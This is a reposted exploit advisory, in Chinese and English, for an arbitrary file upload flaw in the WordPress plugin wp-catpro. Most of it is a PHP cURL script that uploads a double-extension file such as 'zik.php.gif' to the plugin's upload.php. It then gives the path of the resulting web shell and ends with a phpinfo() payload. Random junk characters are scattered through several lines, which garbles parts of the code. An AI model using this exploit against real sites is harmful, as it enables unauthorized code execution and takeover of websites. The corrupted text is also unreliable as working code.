WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
# A4 `' _1 u  D- ~+ e5 |7 r#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
. w0 E1 o. C# p; o####

# O5 d" ?/ Y9 _/ `#=> Exploit 信息:
. L& b/ y" B* c4 e4 K& D% @' ^$ i% k------------------
# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

5 x: A8 V5 r- r* N2 c$ C% _# l#=> Exploit
* d, p2 ~1 \! p1 v# `-----------
7 j4 F: f  i, w3 d- m! U<?php

) Z" K! i# o% Q" J; ]$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
) ~5 y3 \  `* N* l4 ocurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ ?" q# Z+ Q" _# v7 f! E9 Aarray('Filedata'=>"@$uploadfile",
; b+ f& k* [$ `5 S: ]2 a9 I'folder'=>'/wp-content/uploads/catpro/'));
, s) W) e# j- z! `2 Y1 I' Qcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
/ T* H3 ~9 v! j7 Mcurl_close($ch);

2 Z9 j3 G0 m: x. r/ Jprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
phpinfo();
. R$ j' `) M3 j1 e  J$ T?>